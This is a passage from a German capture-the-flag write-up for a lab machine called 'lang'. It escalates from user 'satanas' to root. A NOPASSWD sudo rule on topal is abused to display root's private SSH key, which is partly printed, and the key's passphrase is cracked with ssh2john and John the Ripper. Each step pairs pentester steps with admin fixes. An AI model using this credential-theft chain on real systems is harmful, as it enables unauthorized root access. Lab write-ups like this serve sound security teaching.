The authenticity of host '[localhost]:222 ([::1]:222)' can't be established. ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[localhost]:222' (ED25519) to the list of known hosts. satanas@localhost's password: Permission denied, please try again. satanas@localhost's password: Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 [...]
**Analyse:** In der Shell als Benutzer `satanas` wird der Befehl `sudo -l` ausgeführt, um dessen `sudo`-Berechtigungen zu überprüfen.
**Bewertung:** Die Ausgabe zeigt, dass der Benutzer `satanas` den Befehl `/usr/bin/topal` als `root` ohne Passwort (`NOPASSWD:`) ausführen darf. Das ist ein klarer Weg zur Privilegienerweiterung, wenn `topal` missbraucht werden kann, um eine Shell zu erhalten oder beliebige Dateien zu lesen/schreiben.
**Empfehlung (Pentester):** Das Programm `/usr/bin/topal` untersuchen. Nach Optionen suchen, die das Ausführen von Shell-Befehlen ermöglichen (z.B. durch Aufruf eines Editors wie `vi` oder `less` aus dem Programm heraus) oder das Lesen sensibler Dateien erlauben. GTFOBins nach `topal` durchsuchen.
**Empfehlung (Admin):** Die `sudo`-Regel für `topal` ist gefährlich. Wenn `topal` tatsächlich mit Root-Rechten benötigt wird, sicherstellen, dass es nicht zur Privilegienerweiterung missbraucht werden kann. Idealerweise spezifischere `sudo`-Regeln erstellen, die nur die benötigten Aktionen von `topal` erlauben, oder eine sicherere Alternative verwenden. Die `NOPASSWD`-Option sollte nur mit äußerster Vorsicht verwendet werden.
Matching Defaults entries for satanas on lang:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User satanas may run the following commands on lang:
(root) NOPASSWD: /usr/bin/topal
**Analyse:** Das Programm `/usr/bin/topal`, das `satanas` via `sudo` als `root` ausführen darf, wird nun genauer untersucht. Zuerst wird es mit `sudo -u root /usr/bin/topal` gestartet, um die normale Funktionsweise oder eine Hilfeausgabe zu sehen.
**Bewertung:** `topal` gibt seine Versionsinformationen und Lizenzdetails aus und schlägt vor, `-help` für weitere Informationen zu verwenden. Es scheint ein Programm zur E-Mail-Verarbeitung (möglicherweise PGP-bezogen) zu sein.
**Empfehlung (Pentester):** Die Hilfe (`sudo -u root /usr/bin/topal -help`) konsultieren. Nach Optionen suchen, die Interaktion mit dem Dateisystem oder externen Programmen ermöglichen.
**Empfehlung (Admin):** Verstehen, warum `topal` Sudo-Rechte benötigt und ob diese Rechte sicher konfiguriert sind.
Topal release 80 (2020-12-12T223026UTC)
Copyright (C) 2001--2018 Phillip J. Brooke
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3 as
published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
topal -help | -h | --help | --h | -? | --?
Display (this) help message.
**Analyse:** Es wird versucht, mit `topal` die Datei `/etc/passwd` zu lesen, indem die Option `-dump` verwendet wird, die möglicherweise zum Anzeigen von Dateiinhalten dient.
**Bewertung:** Der Versuch schlägt fehl. `topal` erkennt die Option `/etc/passwd` nicht und bricht mit einem `MISC.PANIC`-Fehler ab. Die Option `-dump` scheint nicht für das Lesen beliebiger Dateien vorgesehen zu sein oder erfordert einen anderen Syntax.
**Empfehlung (Pentester):** Andere Optionen von `topal` ausprobieren. Wenn die Hilfe keine Hinweise liefert, nach bekannten Exploits oder GTFOBins-Einträgen für `topal` suchen. Prüfen, ob `topal` intern andere Programme aufruft (z.B. einen Editor), die zur Shell-Flucht missbraucht werden können.
**Empfehlung (Admin):** Der Fehler zeigt, dass `-dump` nicht wie erhofft funktioniert. Die Sicherheit der `sudo`-Regel bleibt fraglich.
Topal: Fatal error: option `/etc/passwd' not recognised. Exception raised in Invocation.Parse_Command_Line EXCEPTION! oops. Exception raised: MISC.PANIC raised MISC.PANIC : option `/etc/passwd' not recognised. Command line: -dump /etc/passwd This is not good: please send a bug report with the information above to p.j.brooke@bcs.org.uk (unless it was caused by ctrl-c when GPG was running). Tell me *exactly* what you were doing when it crashed. Thank you! Press [space] to continue: [Continue]
**Analyse:** Ein neuer Ansatz: `topal` wird mit einem Dateipfad als Argument aufgerufen, hier `/root/.ssh/id_rsa`. Es wird vermutet, dass `topal` die Datei als E-Mail-Inhalt oder Schlüsseldatei interpretiert und möglicherweise Optionen zur Ansicht oder Bearbeitung anbietet.
**Bewertung:** Diesmal startet `topal` ein interaktives Menü. Die Meldung "my-key is empty" deutet auf Schlüsselverarbeitung hin. Das Menü bietet verschiedene Optionen, darunter `[v] View mail`. Da `/root/.ssh/id_rsa` als "Mail" geladen wurde, könnte diese Option den Inhalt der Datei anzeigen.
**Empfehlung (Pentester):** Die Option `v` (View mail) im Menü auswählen. Wenn dies den Inhalt von `/root/.ssh/id_rsa` (den privaten SSH-Schlüssel des Root-Benutzers) anzeigt, kann dieser Schlüssel kopiert und für den Root-Login verwendet werden. Dies ist der Proof-of-Concept für die Privilegienerweiterung.
**Empfehlung (Admin):** Die `sudo`-Regel, die `satanas` erlaubt, `topal` als root auszuführen, ermöglicht das Lesen beliebiger Dateien, auf die root Zugriff hat (hier `/root/.ssh/id_rsa`). Dies ist eine kritische Schwachstelle. Die `sudo`-Regel muss entfernt oder drastisch eingeschränkt werden.
Topal release 80 (2020-12-12T223026UTC) [...] This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. my-key is empty; not selecting any keys for self Main send menu: Sending mode: No GPG Signing key: (not set) 0 key(s) in key list [lkr] List/edit recip. keys [@] Add own key [w] Edit own key [n] Pass through unchanged [D] Detach sig prsv [v] View mail [e] Encrypt [E] Encrypt prsv [m] Edit mail [s] Sign-encrypt [S] Sign-encrypt prsv [o] Configuration [c] Clearsign [C] Clearsign prsv [q] Abort! [g] Go! D, E, S and C preserve original file
**Analyse:** Im interaktiven Menü von `topal` wird die Option `v` eingegeben, um den Inhalt der zuvor als Argument übergebenen Datei (`/root/.ssh/id_rsa`) anzuzeigen.
**Bewertung:** Erfolg! `topal` zeigt den vollständigen privaten SSH-Schlüssel des Root-Benutzers an (`--BEGIN OPENSSH PRIVATE KEY-- ... --END OPENSSH PRIVATE KEY--`). Dieser Schlüssel ist verschlüsselt (erkennbar an `aes256-ctr` und `bcrypt` in den ersten Zeilen), benötigt also eine Passphrase.
**Empfehlung (Pentester):** Den gesamten Schlüsseltext kopieren und auf dem Angreifer-PC in einer Datei speichern (z.B. `satanrsa`). Anschließend die Passphrase des Schlüssels knacken, z.B. mit `ssh2john` (um den Hash zu extrahieren) und `john` (um den Hash mit einer Wortliste zu bruteforcen). Sobald die Passphrase bekannt ist, kann der Schlüssel für den SSH-Login als `root` verwendet werden.
**Empfehlung (Admin):** Die `sudo`-Regel für `topal` sofort entfernen! Den privaten SSH-Schlüssel von root als kompromittiert betrachten und ersetzen. Sicherstellen, dass private Schlüssel immer mit starken Passphrasen geschützt sind.
Eingabe:v --BEGIN OPENSSH PRIVATE KEY-- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBo5rQpk1 LPo6VA55HND1x6AAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDQVQiVByKZ [...] WsbwYQ --END OPENSSH PRIVATE KEY-- Press [return] to continue:
**Analyse:** Der aus `topal` kopierte private SSH-Schlüssel von root wird auf dem Angreifer-PC in die Datei `satanrsa` gespeichert (mit `nano` oder einem anderen Editor). Anschließend werden die Berechtigungen der Datei mit `chmod 600 satanrsa` eingeschränkt, sodass nur der Besitzer Lese- und Schreibrechte hat, wie es für private Schlüssel üblich ist.
**Bewertung:** Notwendige Schritte, um den Schlüssel zu speichern und korrekt zu sichern, bevor versucht wird, seine Passphrase zu knacken oder ihn zu verwenden.
**Empfehlung (Pentester):** Den nächsten Schritt durchführen: Extrahieren des Hashes mit `ssh2john`.
**Empfehlung (Admin):** Keine direkte Aktion, da dies auf dem Angreifer-PC geschieht. Die Empfehlungen zur Behebung der `sudo`-Schwachstelle und zum Ersetzen des Schlüssels bleiben bestehen.
**Analyse:** Es wird versucht, sich direkt mit dem gespeicherten Schlüssel `satanrsa` als `root` auf dem lokalen SSH-Port 222 anzumelden. Der Dateiname `rootrsa` im Befehl ist ein Tippfehler, es sollte `satanrsa` heißen.
**Bewertung:** Der Versuch scheitert aufgrund des Tippfehlers (`Warning: Identity file rootrsa not accessible`). Selbst wenn der Name korrekt wäre, würde der Login fehlschlagen, da der Schlüssel passwortgeschützt ist und die Passphrase noch nicht bekannt ist. Der anschließende Passwort-Prompt scheitert ebenfalls.
**Empfehlung (Pentester):** Den Tippfehler korrigieren ist unwichtig, da zuerst die Passphrase geknackt werden muss. Mit `ssh2john` fortfahren.
**Empfehlung (Admin):** Keine Aktion erforderlich.
Warning: Identity file rootrsa not accessible: No such file or directory. root@localhost's password: Permission denied, please try again. root@localhost's password:
**Analyse:** Das Tool `ssh2john` wird verwendet, um den passwortgeschützten privaten SSH-Schlüssel aus der Datei `satanrsa` in ein Hash-Format umzuwandeln, das von `John the Ripper` verstanden wird. Die Ausgabe wird in die Datei `hash` umgeleitet.
**Bewertung:** Notwendiger Schritt, um den Schlüssel für das Knacken der Passphrase mit `john` vorzubereiten.
**Empfehlung (Pentester):** Die erstellte `hash`-Datei im nächsten Schritt mit `john` verwenden.
**Empfehlung (Admin):** Keine Aktion erforderlich.
**Analyse:** `John the Ripper` wird gestartet, um die Passphrase des SSH-Schlüssels zu knacken. * `--wordlist=/usr/share/wordlists/rockyou.txt`: Gibt die zu verwendende Wortliste an. * `hash`: Die Datei, die den von `ssh2john` erzeugten Hash enthält.
**Bewertung:** Erfolg! John findet die Passphrase für den SSH-Schlüssel: `killer1`. Der Hash-Typ wird als `SSH [RSA/DSA/EC/OPENSSH]` erkannt. John verwendete 16 OpenMP-Threads für den Brute-Force-Angriff.
**Empfehlung (Pentester):** Die gefundene Passphrase (`killer1`) zusammen mit dem privaten Schlüssel (`satanrsa`) verwenden, um sich als `root` via SSH anzumelden.
**Empfehlung (Admin):** Die Passphrase "killer1" ist relativ schwach. Dies unterstreicht die Notwendigkeit, starke, einzigartige Passphrasen auch für SSH-Schlüssel zu verwenden. Die `sudo`-Schwachstelle bleibt das Hauptproblem, das den Zugriff auf den Schlüssel erst ermöglicht hat.
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 16 OPENMP threads Press 'q' or Ctrl-C to abort, almost any other key for status killer1 (satanrsa) 1g 0:00:00:12 DONE (2024-08-23 14:54) 0.08163g/s 156.7p/s 156.7c/s 156.7C/s butthead..monday Use the "--show" option to display all of the cracked passwords reliably Session completed.
**Analyse:** Der letzte Schritt: Mit dem privaten Schlüssel `satanrsa` und der geknackten Passphrase (`killer1`) wird versucht, sich als `root` auf dem Zielsystem (Port 22) via SSH anzumelden.
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Nach Eingabe der Passphrase (`killer1`) wird der Login akzeptiert, und der Angreifer erhält eine Shell mit Root-Rechten (`root@lang`). Die Befehle `id` und `ls` bestätigen dies und zeigen die Root-Flag-Datei `r00000000t.txt`.
**Empfehlung (Pentester):** Den Root-Flag auslesen (`cat r00000000t.txt`). Das Ziel ist vollständig kompromittiert. Weitere Post-Exploitation-Schritte könnten Persistenz, weiteres Auskundschaften des Netzwerks oder das Sammeln von Beweisen umfassen.
**Empfehlung (Admin):** Sofortige Maßnahmen sind erforderlich:
1. Die `sudo`-Regel für `topal` entfernen.
2. Das Passwort für `satanas` ändern.
3. Das Erlang-Cookie ändern.
4. Den kompromittierten Root-SSH-Schlüssel ersetzen und sicherstellen, dass der neue Schlüssel eine starke Passphrase hat.
5. Den lokalen SSH-Dienst auf Port 222 deaktivieren, falls nicht benötigt.
6. System auf weitere Kompromittierungsspuren oder Backdoors untersuchen.
Enter passphrase for key 'satanrsa': killer1 Linux lang 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 [...] Last login: Tue Aug 20 18:00:42 2024 from 192.168.2.114
uid=0(root) gid=0(root) grupos=0(root)
r00000000t.txt